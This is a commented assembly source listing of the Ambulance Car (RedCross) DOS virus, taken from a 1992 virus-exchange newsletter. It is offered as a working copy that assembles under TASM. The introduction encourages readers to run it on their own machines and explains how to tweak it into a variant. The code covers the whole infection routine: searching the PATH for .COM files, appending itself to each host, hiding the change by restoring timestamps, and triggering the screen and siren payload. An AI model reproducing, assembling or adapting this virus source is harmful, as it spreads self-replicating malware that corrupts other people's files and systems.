;REDCROSS/AMBULANCE CAR VIRUS for Crypt Newsletter #10, edited by Urnst Kouch ;December 1992 ;Originally supplied as a Sourcer disassembly in a Scandinavian virus mag ;published by "Youth Against McAfee (YAM)", this AMBULANCE specimen was ;generated in its raw form by "Natas Kaupas." Hold that up to your mirror ;and it spells Satan. Whatever, "Natas/Satan" has also supplied us with the ;MINDLESS/FamR series of viruses for you trivia buffs. The Crypt Newsletter ;is obliged to him, wherever he is, for these interesting programs. ; ;In any case, while helpful, the original disassembly had diminished ;value, being completely uncommented. It did, however, assemble ;under TASM into an actual working copy of the virus, which ;appears to be the AMBULANCE CAR B strain. ; ; ;Ambulance Car remains an interesting virus, packed with enough features ;so that it can still find its target files, .COM executables, wherever ;they might be lurking on a system. ; ;Principally, this revolves around the virus searching the path string set ;in the environment. If no path exists, the virus defaults to the ;current directory. In both cases, the virus may infect up to two files ;anywhere on the path per pass. Most times it will infect only one. ;Sometimes it will not budge at all. ; ;Once it's found a file, Ambulance checks it for the 0E9h byte at ;the beginning. If it doesn't find it, the virus assumes the file is ;uninfected and immediately tries to complete the infection. If ;it does find the byte, it continues reading from there to confirm ;the viral sequence. If this is a coincidence and the complete sequence ;is not there, the virus will infect the file anyway. ; ;Randomly, the virus will activate and run the Ambulance across the bottom ;of your screen after a round of infection. Because of the path search ;Ambulance can easily find .COM executables on a sizeable disk at a time ;when there are less and less of these to be seen. Unfortunately, for a ;direct-action virus, the disk activity is noticeable with the caveats: ;on a fast machine, perhaps not; or in front of an average user, perhaps not. ;You never know how a user will react when dealing with viruses. ; ;You can easily experiment with this version on your machine by commenting ;out the path statement in your AUTOEXEC.BAT. This will restrict the ;virus to a test directory where it can be used to infect bait files ;until the Ambulance effect is seen. ; ;Ambulance Car is detected by "rules-based" anti-virus sentries like ;PCRx (reviewed in this issue), but keep in mind this type of ;protection is not flawless. Accidents can happen. Most current scanners ;easily detect this variant of Ambulance, although ;some cannot disinfect files once they are parasitized. data_1e equ 0Ch data_2e equ 49h data_3e equ 6Ch psp_envirn_seg equ 2Ch data_21e equ 0C80h virus segment byte public assume cs:virus, ds:virus org 100h redcross proc far ;main flow control procedure for Ambulance ;Car virus start: jmp short virstart data_5 dw 4890h ; Data table data_7 dw 6C65h ; Data table db 6Ch, 6Fh, 20h, 2Dh, 20h copyright db 'Copyright S & S Enterprises, 198';whoah, how'd Solomon's db '8' ;stamp get in here? ;-] db 0Ah, 0Dh, 24h, 1Ah,0B4h, 09h db 0BAh, 03h, 01h,0CDh, 21h,0CDh db 20h virstart: db 0E8h, 01h, 00h add [bp-7Fh],bx out dx,al ; port 0, channel 0 add ax,[bx+di] call check_infect ; do path search, infect file call check_infect ; ditto, sometimes, sometimes not call sound_fury ; do we do AMBULANCE effect? Check! lea bx,[si+419h] mov di,100h mov al,[bx] mov [di],al mov ax,[bx+1] mov [di+1],ax jmp di ; Register jump exit: retn ; handoff to host redcross endp ;***************************************************************************** ; SUBROUTINE ;***************************************************************************** check_infect proc near ; path search for Ambulance call loadpath ; Car mov al,byte ptr data_19[si] or al,al jz exit ; No path/no files? Git! lea bx,[si+40Fh] inc word ptr [bx] lea dx,[si+428h] ; load effective address mov ax,3D02h int 21h ; open found file by loadpath read/write ; with handle mov word ptr ds:[417h][si],ax ;ax contains handle mov bx,word ptr ds:[417h][si] mov cx,3 lea dx,[si+414h] ; load address of buffer mov ah,3Fh ; to read first three bytes into. int 21h ; Read the bytes . . . ; bx points to file handle. ; mov al,byte ptr ds:[414h][si] cmp al,0E9h ; compare with 0E9h jne infect ; if not equal, assume virus not here - infect mov dx,word ptr ds:[415h][si] mov bx,word ptr ds:[417h][si] add dx,3 xor cx,cx ; zero register mov ax,4200h int 21h ; point to beginning of file, again ; bx contains the handle mov bx,word ptr ds:[417h][si] mov cx,6 lea dx,[si+41Ch] ; load effective address mov ah,3Fh ; and read the first 6 bytes int 21h ; this time ; ds:dx points to buffer mov ax,data_13[si] mov bx,data_14[si] mov cx,data_15[si] cmp ax,word ptr ds:[100h][si] ; compare with data copied above jne infect ; jump if not equal to infect cmp bx,data_5[si] jne infect ; jump if not equal cmp cx,data_7[si] je close ; finally, if we get a match we know infect: ; we're here, so go to close up mov bx,word ptr ds:[417h][si] xor cx,cx ; zero register xor dx,dx ; zero register mov ax,4202h int 21h ; reset pointer to end of file ; bx contains file handle sub ax,3 mov word ptr ds:[412h][si],ax mov bx,word ptr ds:[417h][si] mov ax,5700h ; bx points to name of file int 21h ; get file date and time ; time returns in cx, date in dx push cx ; push these onto the stack push dx ; we'll need 'em later mov bx,word ptr ds:[417h][si] mov cx,319h lea dx,[si+100h] mov ah,40h ; write the virus to the end of int 21h ; the file, identified in bx ; cx contains virus length for write ; so do it, yes, append virus mov bx,word ptr ds:[417h][si] mov cx,3 lea dx,[si+414h] ; load effective address mov ah,40h ; int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov bx,word ptr ds:[417h][si] xor cx,cx ; zero register xor dx,dx ; zero register mov ax,4200h int 21h ; reset the pointer to start of file ; identified in bx ; cx,dx=offset mov bx,word ptr ds:[417h][si] mov cx,3 lea dx,[si+411h] ; load effective address mov ah,40h ; and write the first three virus id int 21h ; and jump bytes to the file ; now, just about finished pop dx ; retrieve date pop cx ; and time from stack mov bx,word ptr ds:[417h][si] mov ax,5701h ; restore file's date/time int 21h close: mov bx,word ptr ds:[417h][si] mov ah,3Eh int 21h ; close file retn ; return to caller, maybe we'll check_infect endp ; infect again, maybe not ;***************************************************************************** ; SUBROUTINE ;***************************************************************************** loadpath proc near ; this procedure checks for the mov ax,ds:psp_envirn_seg ; existence of the ASCII path string in the mov es,ax ; environment block of the program push ds ; segment prefix (in this case psp_envirn_seg) mov ax,40h ; if it exists, Ambulance Car copies mov ds,ax ; the entire string into a buffer by using mov bp,ds:data_3e ; '/' and ';' as cues. The virus then pop ds ; sets the DTA to a directory test bp,3 ; found in the path and executes a simple jz loc_8 ; file search. If unproductive, it xor bx,bx ; recursively searches the path loc_6: ; before defaulting to the current mov ax,es:[bx] ; directory cmp ax,4150h jne loc_7 cmp word ptr es:[bx+2],4854h je loc_9 loc_7: inc bx or ax,ax jnz loc_6 ; jump if not zero loc_8: lea di,[si+428h] jmp short loc_14 loc_9: add bx,5 loc_10: lea di,[si+428h] ; load effective address of buffer loc_11: mov al,es:[bx] inc bx ; copy a byte from the path or al,al jz loc_13 ; jump if zero cmp al,3Bh ; found a divider? ';' je loc_12 ; jump if equal, continue copying path mov [di],al inc di jmp short loc_11 ; loop around, continue copying loc_12: cmp byte ptr es:[bx],0 je loc_13 shr bp,1 ; Shift w/zeros fill shr bp,1 ; Shift w/zeros fill test bp,3 jnz loc_10 ; Jump if not zero loc_13: cmp byte ptr [di-1],5Ch ; compare with '\' je loc_14 ; jump if equal mov byte ptr [di],5Ch ; compare with '\' inc di loc_14: push ds pop es mov data_16[si],di mov ax,2E2Ah stosw ; copy portion of path, store ax to es:[di] mov ax,4F43h stosw ; Store ax to es:[di] mov ax,4Dh stosw ; Store ax to es:[di] push es mov ah,2Fh int 21h ; get current DTA ; move it into es:bx mov ax,es mov data_17[si],ax mov data_18[si],bx pop es lea dx,[si+478h] ; address of filemask mov ah,1Ah int 21h ; set the DTA to first dir in path ; disk xfer area, ds:dx lea dx,[si+428h] ; load effective address xor cx,cx ; zero register mov ah,4Eh ; find first file int 21h jnc loc_15 ; jump if carry = 0 xor ax,ax mov data_19[si],ax jmp short loc_18 loc_15: push ds mov ax,40h mov ds,ax ror bp,1 xor bp,ds:data_3e pop ds test bp,7 jz loc_16 ; Jump if zero mov ah,4Fh int 21h ; find next file jnc loc_15 ; jump if carry = 0 loc_16: mov di,data_16[si] lea bx,[si+496h] loc_17: mov al,[bx] inc bx stosb ; Store al to es:[di] or al,al jnz loc_17 ; Jump if not zero loc_18: mov bx,data_18[si] mov ax,data_17[si] push ds mov ds,ax mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA(disk xfer area), ds:dx pop ds retn ; return to check_infect loadpath endp ;***************************************************************************** ; SUBROUTINE ;***************************************************************************** sound_fury proc near ;sets up Ambulance Car effect, but push es ; other than that, I have no idea mov ax,word ptr ds:[40Fh][si] ; subroutines and procs from and ax,7 ; here on down manage the cmp ax,6 ; Ambulance Car graphic and jne loc_19 ; siren effect mov ax,40h mov es,ax mov ax,es:data_1e or ax,ax jnz loc_19 ; <= comment this out and you'll inc word ptr es:data_1e ; get a corrupted version of the call sub_5 ; Car effect everytime the virus loc_19: ; executes. If you fiddle around pop es ; with it enough you'll eventually retn ; get the strain known as RedX-Any, sound_fury endp ; for RedCross anytime. ;***************************************************************************** ; SUBROUTINE ;***************************************************************************** sub_5 proc near push ds mov di,0B800h mov ax,40h mov ds,ax mov al,ds:data_2e cmp al,7 jne loc_20 mov di,0B000h loc_20: mov es,di pop ds mov bp,0FFF0h loc_21: mov dx,0 mov cx,10h locloop_22: call sub_8 inc dx loop locloop_22 ; Loop if cx > 0 call sub_7 call sub_9 inc bp cmp bp,50h jne loc_21 ; Jump if not equal call sub_6 push ds pop es retn sub_5 endp ;***************************************************************************** ; SUBROUTINE ;***************************************************************************** sub_6 proc near ; cycles speaker on for siren in al,61h ; port 61h, 8255 port B, read and al,0FCh out 61h,al ; port 61h, 8255 B - spkr, etc ; al = 0, disable parity retn sub_6 endp ;***************************************************************************** ; SUBROUTINE ;***************************************************************************** sub_7 proc near ; more speaker stuff mov dx,7D0h test bp,4 jz loc_23 mov dx,0BB8h loc_23: in al,61h ; port 61h, 8255 port B, read test al,3 jnz loc_24 or al,3 out 61h,al ; port 61h, 8255 B - spkr, etc mov al,0B6h out 43h,al ; port 43h, 8253 wrt timr mode loc_24: mov ax,dx out 42h,al ; port 42h, 8253 timer 2 spkr mov al,ah out 42h,al ; port 42h, 8253 timer 2 spkr retn sub_7 endp ;***************************************************************************** ; SUBROUTINE ;***************************************************************************** sub_8 proc near push cx push dx lea bx,[si+3BFh] ; Load effective addr add bx,dx add dx,bp or dx,dx ; Zero ? js loc_27 ; Jump if sign=1 cmp dx,50h jae loc_27 ; Jump if above or = mov di,data_21e add di,dx add di,dx sub dx,bp mov cx,5 locloop_25: mov ah,7 mov al,[bx] sub al,7 add al,cl sub al,dl cmp cx,5 jne loc_26 ; Jump if not equal mov ah,0Fh test bp,3 jz loc_26 ; Jump if zero mov al,20h ; ' ' loc_26: stosw ; Store ax to es:[di] add bx,10h add di,9Eh loop locloop_25 ; Loop if cx > 0 loc_27: pop dx pop cx retn sub_8 endp ;***************************************************************************** ; SUBROUTINE ;***************************************************************************** sub_9 proc near push ds mov ax,40h mov ds,ax mov ax,ds:data_3e loc_29: cmp ax,ds:data_3e je loc_29 ; Jump if equal pop ds retn sub_9 endp db 22h, 23h, 24h, 25h db 26h, 27h, 28h, 29h, 66h, 87h db 3Bh, 2Dh, 2Eh, 2Fh, 30h, 31h db 23h,0E0h,0E1h,0E2h,0E3h,0E4h db 0E5h data_8 dw 0E7E6h ; Data table (indexed access) db 0E7h data_9 dw 0EAE9h ; Data table (indexed access) data_10 db 0EBh ; Data table (indexed access) data_11 dw 3130h ; Data table (indexed access) data_12 dw 2432h ; Data table (indexed access) db 0E0h,0E1h,0E2h data_13 dw 0E8E3h ; Data table (indexed access) data_14 dw 0EA2Ah ; Data table (indexed access) data_15 dw 0E8E7h ; Data table (indexed access) data_16 dw 2FE9h ; Data table (indexed access) data_17 dw 6D30h ; Data table (indexed access) data_18 dw 3332h ; Data table (indexed access) data_19 dw 0E125h ; Data table (indexed access) db 0E2h,0E3h,0E4h,0E5h,0E7h,0E7h db 0E8h,0E9h,0EAh,0EBh,0ECh,0EDh db 0EEh,0EFh, 26h,0E6h,0E7h, 29h db 59h, 5Ah, 2Ch,0ECh,0EDh,0EEh db 0EFh,0F0h, 32h, 62h, 34h,0F4h db 09h, 00h,0E9h, 36h, 00h,0EBh db 2Eh, 90h, 05h, 00h,0EBh, 2Eh db 90h virus ends end start